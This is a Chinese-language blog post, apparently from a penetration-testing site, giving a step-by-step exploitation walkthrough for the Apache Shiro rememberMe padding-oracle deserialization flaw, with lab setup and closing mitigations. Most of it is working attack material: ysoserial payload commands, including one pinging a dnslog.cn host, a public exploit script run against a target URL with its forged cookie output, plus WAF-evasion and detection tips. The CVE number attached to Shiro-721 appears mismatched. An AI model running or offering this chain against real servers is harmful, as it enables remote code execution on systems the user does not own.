Apache Shiro 反序列化漏洞(Shiro-721 CVE-2016-4437)

0x00 漏洞介绍

    Apache Shiro 存在高危代码执行漏洞。该漏洞是由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。

0x01 影响版本

Apache Shiro 1.2.5, 1.2.6, 1.3.0, 1.3.1, 1.3.2, 1.4.0-RC2, 1.4.0, 1.4.1版本。

0x02 漏洞指纹

1.set-Cookie: rememberMe=deleteMe
2.URL中有shiro字样
3.有一些时候服务器不会主动返回 rememberMe=deleteMe, 直接发包即可

0x03  利用技巧

1.该漏洞需要登录后获取到合法的Cookie: rememberMe=XXX后才可以进行利用, 看起来不是很好利用 但实际上有一些网站是开放注册的, 而且这个洞不需要知道服务端密钥 所以后续的利用还是可以同Shiro-550一样利用, 而且这里是AES加密的, 自带过WAF属性 ;
2.如果攻击没有生效, 可以试一下删除Cookie中的JSESSIONID 字段, 很多时候这个字段存在的话, 服务端不会去处理 rememberMe。

0x04 漏洞原理

由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。

0x04 环境搭建

1.利用docker搭建环境一:
root@backlion-virtual-machine:/opt# docker pull vulfocus/shiro-cve_2016_4437    
root@backlion-virtual-machine:/opt#docker ps 
root@backlion-virtual-machine:/opt#docker run -d -p 8080:8080 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=192.168.1.14   be60cf0b7704
2.利用dokcer 搭建环境二:
复现环境: Apache Shiro 1.4.1 + tomcat:8-jre8
git下载shiro-720到本地环境
git clone https://github.com/3ndz/Shiro-721.git
对shiro-720进行编译
cd Shiro-721/Docker
docker build -t shiro-721 .
启动dokcer并将端口8080映射到主机端口8080上
docker run -p 8080:8080 -d shiro-721
查看是否搭建成功
docker ps

3.通过自行编译1.4.1war 包放入tomcat容器中运行
安装maven
tar zxvf  apache-maven-3.6.3-bin.tar.gz  -C  /usr/local
vi /etc/profile
export MAVEN_HOME=/usr/local/apache-maven-3.6.3
export PATH=$MAVEN_HOME/bin:$PATH 
source /etc/profile
mvn -v 
vim  /usr/local/apache-maven-3.6.3/conf/settings.xml
找到mirrors节点添加阿里镜像库地址:
<mirrors>
    <mirror>
      <id>alimaven</id>
      <name>aliyun maven</name>
      <url>http://maven.aliyun.com/nexus/content/groups/public/</url>
      <mirrorOf>central</mirrorOf>        
    </mirror>
  </mirrors>
可从 Apache Shiro Gtihub 官方仓库自行下载漏洞影响版本(https://github.com/apache/shiro),使用 Apache Maven(软件项目管理及自动构建工具) 编译构建生成 war Java 应用程序包。
cd shiro
git checkout shiro-root-1.4.1
mvn install
以下几项执行完成以后即可暂停,进而编译 samples/web 下的即可。
[INFO] Apache Shiro ....................................... SUCCESS [  1.630 s]
[INFO] Apache Shiro :: Core ............................... SUCCESS [ 46.175 s]
[INFO] Apache Shiro :: Web ................................ SUCCESS [  3.571 s]
cd samples/web
mvn install
将编译完成获取到的 samples-web-1.4.1.war 包( samples/target/中)拷贝到 Tomcat 的 webapps 目录下,启动tomcat即可。
这里已编号war包:
https://github.com/backlion/demo/blob/master/samples-web-1.4.1.war
将war包拷贝到docker tomcat容器中的webasps目录下
之后打开http://192.168.1.9:8080/samples-web-1.4.1/

  复现步骤:

  1. 输入正确的用户名和密码登录网站(勾选Remember),并从cookie中获取RememberMe值。
  2. 使用RememberMe cookie作为Padding Oracle Attack的前缀。
  3. 加密ysoserial的序列化有效负载,以通过Padding Oracle Attack制作精心制作的RememberMe。
  4. 请求带有新的RememberMe cookie的网站,以执行反序列化攻击。
  5. 攻击者无需知道RememberMe加密的密码密钥。

0x05 漏洞复现:

一.漏洞利用复现01

1.登录 Shiro 测试账户获取合法 Cookie(勾选Remember Me):

(1) 认证失败时(输入错误的用户名和密码),http响应页面中会显示出deleteMe的cookie:


(2) 认证成功(输入正确的用户名和密码登录),http响应页面中不会显示deleteMe的cookie:


根据以上条件我们的思路是在正常序列化数据(需要一个已知的用户凭证获取正常序列化数据)后利用 Padding Oracle 构造我们自己的数据(Java序列化数据后的脏数据不影响反序列化结果),此时会有两中情况:

  1. 构造的数据不能通过字符填充验证,返回deleteme;
  2. 构造的数据可以成功解密通过字符填充验证,之后数据可以正常反序列化,不返回deleteme的cookie.
2.这里输入正确的用户名和密码,并勾选Remeber ME。
3.登录成功后,访问http://192.168.1.14:8080/account/,并通过burp对其进行抓包,得到Cookie中的rememberMe值

4.使用Java反序列化工具 ysoserial 生成 Payload:
root@kali:/opt# java  -jar ysoserial-master-6eca5bc740-1.jar   CommonsCollections1 'touch /tmp/test' > payload.class  #这里可以生成在目标靶机中创建/tmp/test的payload
5.通过git对其padding oracle attack  poc进行下载
git clone  https://github.com/wuppp/shiro_rce_exp.git
6. 通过 Padding Oracle Attack 生成 Evil Rememberme cookie:

注意: 此 exp 爆破时间较长,建议使用 ysoserial 生成较短的 payload 验证(如: ping 、 touch /tmp/test等),约 1 个多小时可生成正确的 rememberme cookie,生成成功后将自动停止运行。

root@kali:/opt# cp payload.class  shiro_rce_exp/
root@kali:/opt# cd shiro_rce_exp/
root@kali:/opt# python shiro_exp.py http://192.168.1.14:8080/account/  HZ717RwZHZHuR/x9yMmjJUUGWXLAOiZx01rXghAir47/Xbu++kfYFiJA7gQcSn6oaBqcRXfkihooScqykI8FEWlqmN6agAJr3bh5QH+WshypvevVnsEvUDDaSTCEX8tr3seRX8TAJfuNyvK/DD1HHYdgEKZZ9XbbimYH8S7+Xsv0uzx8PH0OuIiFX3HAofmx5y4cvRpYove0NU+/QaRwZV2LoWtAi0adC/vCHb1H2ochg5LBel6jEQakIP3AmYkEOqfRTRl/sm1olkPM+sFk6+lGw9UtDvWqCCqK5fopXV+0n4qCJlyoNyWdVEmm+mZbxekimV3QDdlC75kuyv9Utw9VtOGMdeyBttl8YrXJCJEFEdIN22LxA//iqnyGjltUEljFrZhTXXhml/V8oPVnXFOAmygIaFD6uv9rWnTtPBlLOblusyElga20ngvoMOVKTu3uYHV0Hmiw/gcnT1yT0ZosI2/fe+dzmbVNyGrwKktYjEobCZIIz/U4intWvQ77   payload.class
rememberMe cookies:
Sr3FrVSmz48Tz+k5ZQxUbvAoyEOxk73bEOKUZgvK/W4U8sTEwzhUiU5YwS5HLZb5qe40REONqDBiDxiDz53NCLz7Xz57yorDiuvzRzfosivcjVjhSBfqcRGGRzEoaUGoI7LDb1Cn9pJIz/1xoyL5AcX05T2tfOwpY9u1crUWM28Xh5bY+Us50UQe7mrrDRAhefjETO7VudSkBpf7+KPVmbvPilkMuF153B/YjoAs1qQPDv2bBfS+H9BxILf4vRbhWmVLZnq/mj0t4d3MPhLV6vrtGCp0OjLFvDkPz5MlEk1uAlJjM5YZebvFR2Akei7YI4Xz0pWBs1j7cvq6f5J++ysiPC/lHtWgTY7WLcTTxxJXcGOGPT9N4KZAwpqCjQQbgm4fWGxaci778eWkTWbxqRS7nmfy/UX4P1trwloHdJhB69Pu7qorHUalpDR0YcWbiBc/VuAvOhoutKCW0LjQOjKyJsGj/6nMKTJ98ZG2sG52R5OHp7ELaB7BK+xn4v8e7KNlcCq41VMQyz++qFtDCvSB8kCfgPETF39eEVB4s2ZLwr0OQBViaeszAUIsJjCkaxYADnlt2Sy9wQ8OwSx05VdcuCWjD1q+WjWFePOoQIAxCQiJmHN8G+f609Hj4GlmNYDGsOVIl7J+JWt2ri4HEICHxeflP6e+ALb/UEYGxvRHs11VCNf35usHwyxEFD3VKGFYZ86StRK7czORGSv6jRBjOu3LsWfoHEEElQRQ8CZpSfaPahuKhrkZeVKpQ+14tllU6NtPrM64ytCTr0kXlcLJCAZF8YEy6/iYwFyVVbymNrUoE1nAF3RgzZU8WMvy/yJzFQZm87Lod50r66EC+Y2BANo2rGmo02gQIif/M8SHWXakKp6hnO9iTK37JuSRp4XakH2HubjsfvZtN8KNaAGKIGAxCMRt8w4/duMZHKrKnmoxd9CiGUHjbgj1oP29Fz3OHnqah7sZjHbAw5QZuh+6pgbkb+U9WikFQjISbsJzBm+3MRt0hN2rnbjMvBJmo6Z+FuUZYQNmLo93pDflsYhvYaKcL8Ji3KIcU1v/zC4shbe2WS1CojtV9fNAnJ8rO9cHXC4pfGkbIe1ZLckSS3JWwMtC34X+D+JVuNl6v+03sWvAjCIEoOxL5s0+kqq7QD0B9te7n47UqaAoyH6Ok6O+sTz21zp8W2oDg6iCiWA3njB3ZKp9WhPNgT1qiJcwPcH1mDFJZtMkfBcDFeOQXBr1X253IZImsPC0LkKJZBI2dkgysy0jnLs5gKa9cebfZyJQkRQuFtpa7obu+Fs40ICStzuKoIm7dtZO6Yo6dxRTNWDbZYopt53YcvtSiXVjoi3XR7Qymlm01BHLgzZvF17ANT9H5KXgjfM6Ct6xjFEfHUl+DxevS/GOeSwOzCeoBN5n9UvjopnGoZGrnRw/XaeU+3UpFb+kRI4pr60vm/J9u2KSYrvLSr573vQ7j438J9GSP9yQ0x4XeRKz6PpM4ntaqwPt8gKSPKnVkAeUPb6ocDD1O6lhg3FurZ7WgB3qj90pVzStXRzHDeTkbOCgAZzxOwoH8TuA0TkW3NVSVg1OMAspYhGDiOtFznnOc3ES8D5KzPyThas0eGvrmzPGpWLtK1cfrZEwgmndJFoK3f1rV7Y2FghM56Zl9xhFodS4Cjv9HgzRsBIMtrF57pbftvvBOoBNRvkg2WLMK2+ruzD90dNHypvBTlmyMWFVSeGGWYkeeNgCAzrWF/LpkTSfxCRwe0dhUkFXEYlYksTWZgmWU4haiIifz7+dpm/tME/BZhzbIVRYwraYYydyN34ODw/RJN+LSsL0XRFb0xPWjuIEn4Cselz1XOt/XO0D5G2NZ8vjVBp0mArwp4GtN6ISvgAAAAAAAAAAAAAAAAAAAAA=
7.使用Evil Rememberme cookie 认证进行反序列化攻击:复制该cookie,然后重放一下数据,即可成功执行命令


8.检查一下执行结果,可以看到成功创建了一个test文件
root@backlion-virtual-machine:/opt# docker ps
CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                    NAMES
3f2fb81c0d93        be60cf0b7704        "/usr/local/tomcat/b…"   About an hour ago   Up About an hour    0.0.0.0:8080->8080/tcp   vigilant_williamson
root@backlion-virtual-machine:/opt# docker exec  -it   3f2fb81c0d93  /bin/bash
root@3f2fb81c0d93:/tmp# ls
另一种验证方式:




java  -jar ysoserial-master-6eca5bc740-1.jar CommonsBeanutils1 "ping y2xqmm.dnslog.cn" > payload.class   #也可以生成简单ping dnslog的地址来测试是否
 python shiro_exp.py   http://10.206.14.185:8080/samples-web-1.4.1/account/   7y9G8wmu+3c94D0kaxohut34n3ldwNnWxmrT9DQDEiSrQ7agYNnci1mh+IYQLmL8cehaMPcnBDclNaEN6eZrPvsEX7eApt5SJEZkmow+ZPsEsnh4wrnHoe7p8RjGVu6P/onx7nrFzZln9d4RC1N8vxEVPUlYZXU7xsMRs35Q8ziFH1EJ1jl/5eiDTn7Wx3yLbHCPyg6v+Qu5ADD+AMbvdHzlLOwY8Pfm5uqEKp36jIwsZjDcQJRhwyUjhAuRyqSUEFKzAq95XUYRaBKKsoxQwN6gD4z7G6lAIBY880CP0QIMhImmbHVfJti/rrnJ/RsxJtoeIH8TujlsEvcCGbJ3Od2XDbhilQUT57XralFArZB7tVCQE9/Vdce96jzR1TjD2rsPbg77eEUXOWbwkYBkJxFBex+p/YrLeJnxm9IvDijGHH2pZp9kCkej7uc8qPm+rH+V3xE0ChIxZXF5l9ScPsvHLJD+gAhgszg75pQnLiS5SOPG73GCj2gFFzzsKnCB  payload.class


一.漏洞利用复现02

1.登录 Shiro 测试账户获取合法 Cookie(勾选Remember Me):

http://192.168.1.14:8080/login.jsp



2.打开burp并对其进行抓包,Send to Repeater,可以看到成功登录后的cookie中的rememberMe值

3.通过shiro550/721漏洞检查工具对其进行验证
工具下载地址:
https://github.com/feihong-cs/ShiroExploit-Deprecated/releases/download/v2.51/ShiroExploit.V2.51.7z

4.出现“+”证明存在漏洞









 0x06 修复方式

 1.更新版本Apache Shior到最新版本:

    1. 升级至安全版本
    2. 关闭rememberMe持久化登录功能。
2. 临时防范建议:
 在安全设备尝试拦截爆破流量,及时阻止攻击者进行尝试性攻击。
    a. 升级Shiro到最新版
    b.升级对应JDK版本到 8u191/7u201/6u211/11.0.1 以上
    c.WAF拦截Cookie中长度过大的rememberMe值
    d.WAF拦截访问过于频繁的IP, 因为该漏洞需要爆破Cookie

posted @ 2020-12-03 09:38  渗透测试中心  阅读(9385)  评论(0编辑  收藏  举报